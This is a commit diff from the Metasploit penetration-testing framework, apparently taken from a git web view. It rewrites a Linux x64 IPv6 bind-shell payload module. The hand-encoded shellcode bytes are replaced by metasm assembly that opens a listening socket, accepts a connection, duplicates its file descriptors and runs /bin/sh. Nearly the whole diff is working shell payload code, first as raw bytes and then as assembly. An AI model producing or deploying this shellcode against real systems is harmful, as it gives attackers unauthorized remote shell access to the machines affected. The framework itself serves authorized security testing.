Implement shellcode via metasm in lib.
Per the linked request https://github.com/rapid7/metasploit-framework/pull/11039#issuecomment-443915955 Rewrote previous payload module to make use of metasm for more reusable shellcode.GSoC/Meterpreter_Web_Console
parent
8cece2cf54
commit
87fa3af6b9
|
@ -9,7 +9,7 @@ require 'msf/base/sessions/command_shell_options'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 115
|
||||
CachedSize = 94
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Linux
|
||||
|
@ -25,90 +25,113 @@ module MetasploitModule
|
|||
'Arch' => ARCH_X64,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Session' => Msf::Sessions::CommandShellUnix,
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LPORT' => [ 21, 'n' ],
|
||||
},
|
||||
'Payload' =>
|
||||
# <_start>:
|
||||
"\x6a\x29" + # push 0x29
|
||||
"\x58" + # pop rax
|
||||
"\x6a\x0a" + # push 0xa
|
||||
"\x5f" + # pop rdi
|
||||
"\x6a\x01" + # push 0x1
|
||||
"\x5e" + # pop rsi
|
||||
"\x31\xd2" + # xor edx,edx
|
||||
"\x0f\x05" + # syscall
|
||||
"\x89\xc7" + # mov edi,eax
|
||||
|
||||
# <populate_sockaddr_in6>:
|
||||
"\x52" + # push rdx
|
||||
"\x52" + # push rdx
|
||||
"\x52" + # push rdx
|
||||
"\x52" + # push rdx
|
||||
"\x66\x68\x11\x5c" + # pushw 0x5c11
|
||||
"\x66\x6a\x0a" + # pushw 0xa
|
||||
"\x54" + # push rsp
|
||||
"\x5e" + # pop rsi
|
||||
|
||||
# <bind_call>:
|
||||
"\x6a\x31" + # push 0x31
|
||||
"\x58" + # pop rax
|
||||
"\x6a\x1c" + # push 0x1c
|
||||
"\x5a" + # pop rdx
|
||||
"\x0f\x05" + # syscall
|
||||
|
||||
# <listen_call>:
|
||||
"\x6a\x32" + # push 0x32
|
||||
"\x58" + # pop rax
|
||||
"\x6a\x01" + # push 0x1
|
||||
"\x5e" + # pop rsi
|
||||
"\x0f\x05" + # syscall
|
||||
|
||||
# <accept_call>:
|
||||
"\x6a\x2b" + # push 0x2b
|
||||
"\x58" + # pop rax
|
||||
"\x99" + # cdq
|
||||
"\x52" + # push rdx
|
||||
"\x52" + # push rdx
|
||||
"\x48\x89\xe6" + # mov rsi,rsp
|
||||
"\x6a\x1c" + # push 0x1c
|
||||
"\x48\x8d\x14\x24" + # lea rdx,[rsp]
|
||||
"\x0f\x05" + # syscall
|
||||
"\x49\x89\xc7" + # mov r15,rax
|
||||
|
||||
# <dup2_calls>:
|
||||
"\x6a\x03" + # push 0x3
|
||||
"\x59" + # pop rcx
|
||||
"\x6a\x02" + # push 0x2
|
||||
"\x5b" + # pop rbx
|
||||
|
||||
# <dup2_loop>:
|
||||
"\x6a\x21" + # push 0x21
|
||||
"\x58" + # pop rax
|
||||
"\x4c\x89\xff" + # mov rdi,r15
|
||||
"\x89\xde" + # mov esi,ebx
|
||||
"\x51" + # push rcx
|
||||
"\x0f\x05" + # syscall
|
||||
"\x59" + # pop rcx
|
||||
"\x48\xff\xcb" + # dec rbx
|
||||
"\xe2\xef" + # loop 401046 <dup2_loop>
|
||||
|
||||
# <exec_call>:
|
||||
"\x31\xd2" + # xor edx,edx
|
||||
"\x52" + # push rdx
|
||||
"\x48\xbb\x2f\x62\x69\x6e\x2f" + # movabs rbx,0x68732f2f6e69622f
|
||||
"\x2f\x73\x68" + #
|
||||
"\x53" + # push rbx
|
||||
"\x48\x89\xe7" + # mov rdi,rsp
|
||||
"\x52" + # push rdx
|
||||
"\x57" + # push rdi
|
||||
"\x48\x89\xe6" + # mov rsi,rsp
|
||||
"\x48\x8d\x42\x3b" + # lea rax,[rdx+0x3b]
|
||||
"\x0f\x05" # syscall
|
||||
}
|
||||
))
|
||||
|
||||
def generate_stage
|
||||
# tcp port conversion; shamelessly stolen from linux/x86/shell_reverse_tcp_ipv6.rb
|
||||
port_order = ([1,0]) # byte ordering
|
||||
tcp_port = [datastore['LPORT'].to_i].pack('n*').unpack('H*').to_s.scan(/../) # converts user input into integer and unpacked into a string array
|
||||
tcp_port.pop # removes the first useless / from the array
|
||||
tcp_port.shift # removes the last useless / from the array
|
||||
tcp_port = (port_order.map{|x| tcp_port[x]}).join('') # reorder the array and convert it to a string.
|
||||
|
||||
payload = <<-EOS
|
||||
socket_call:
|
||||
; int socket(int domain, int type, int protocol)
|
||||
push 0x29
|
||||
pop rax ; socket syscall
|
||||
push 0xa
|
||||
pop rdi ; AF_INET6
|
||||
push 0x1
|
||||
pop rsi ; SOCK_STREAM
|
||||
xor edx,edx ; auto-select protocol
|
||||
syscall
|
||||
|
||||
push rax
|
||||
pop rdi ; store socket fd
|
||||
|
||||
populate_sockaddr_in6:
|
||||
; struct sockaddr_in6 {
|
||||
; sa_family_t sin6_family; /* AF_INET6 */
|
||||
; in_port_t sin6_port; /* port number */
|
||||
; uint32_t sin6_flowinfo; /* IPv6 flow information */
|
||||
; struct in6_addr sin6_addr; /* IPv6 address */
|
||||
; uint32_t sin6_scope_id; /* Scope ID (new in 2.4) */
|
||||
; };
|
||||
|
||||
; struct in6_addr {
|
||||
; unsigned char s6_addr[16]; /* IPv6 address */
|
||||
; };
|
||||
cdq ; zero-out rdx via sign-extension
|
||||
push rdx
|
||||
push rdx
|
||||
push rdx ; 24 bytes of sockaddr_in6, all 0x0
|
||||
push.i16 0x#{tcp_port} ; sin6_port
|
||||
push.i16 0xa ; sin6_family
|
||||
push rsp
|
||||
pop rsi ; store pointer to struct
|
||||
|
||||
bind_call:
|
||||
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
|
||||
; rdi -> fd already stored in rdi
|
||||
; rsi -> pointer to sockaddr_in6 struct already in rsi
|
||||
push 0x31
|
||||
pop rax ; bind syscall
|
||||
push 0x1c
|
||||
pop rdx ; length of sockaddr_in6 (28)
|
||||
syscall
|
||||
|
||||
listen_call:
|
||||
; int listen(int sockfd, int backlog);
|
||||
; rdi -> fd already stored in rdi
|
||||
push 0x32
|
||||
pop rax ; listen syscall
|
||||
push 0x1
|
||||
pop rsi ; backlog
|
||||
syscall
|
||||
|
||||
accept_call:
|
||||
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
|
||||
; rdi -> fd already stored in rdi
|
||||
push 0x2b
|
||||
pop rax ; accept syscall
|
||||
cdq ; zero-out rdx via sign-extension
|
||||
push rdx
|
||||
push rdx
|
||||
push rsp
|
||||
pop rsi ; when populated, client will be stored in rsi
|
||||
push 0x1c
|
||||
lea rdx, [rsp] ; pointer to length of rsi (16)
|
||||
syscall
|
||||
|
||||
dup2_calls:
|
||||
; int dup2(int oldfd, int newfd);
|
||||
xchg rdi, rax ; grab client fd
|
||||
push 0x3
|
||||
pop rsi ; newfd
|
||||
|
||||
dup2_loop:
|
||||
; 2 -> 1 -> 0 (3 iterations)
|
||||
push 0x21
|
||||
pop rax ; dup2 syscall
|
||||
dec esi
|
||||
syscall
|
||||
loopnz dup2_loop
|
||||
|
||||
exec_call:
|
||||
; int execve(const char *filename, char *const argv[], char *const envp[]);
|
||||
push 0x3b
|
||||
pop rax ; execve call
|
||||
cdq ; zero-out rdx via sign-extension
|
||||
mov rbx, '/bin/sh'
|
||||
push rbx
|
||||
push rsp
|
||||
pop rdi ; address of /bin/sh
|
||||
syscall
|
||||
|
||||
EOS
|
||||
|
||||
Metasm::Shellcode.assemble(Metasm::X86_64.new, payload).encode_string
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue